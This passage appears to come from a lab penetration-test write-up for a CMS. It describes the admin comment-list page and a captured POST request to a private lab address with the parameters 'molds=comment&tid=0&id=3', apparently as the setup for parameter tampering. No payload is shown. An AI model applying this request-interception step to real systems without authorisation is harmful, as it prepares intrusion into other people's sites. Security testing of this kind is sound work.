## backstage->Interactive Management - > comment list, and grab a package

The screenshot shows a web application interface for managing comments. The left sidebar contains a menu with '互动管理' (Interactive Management) expanded, showing '评论列表' (Comment List) selected. The main content area displays a table of comments with columns for ID, checkboxes, username, category, article, content, status, time, and actions. The table lists three comments, all marked as '已审' (Reviewed). The '操作' (Action) column for each comment contains '查看' (View) and '删除' (Delete) buttons. Below the table, a network request capture is shown for a POST request to 'http://192.168.10.130:80'. The request body is visible in the 'Raw' tab, showing the payload: 'molds=comment&tid=0&id=3'.
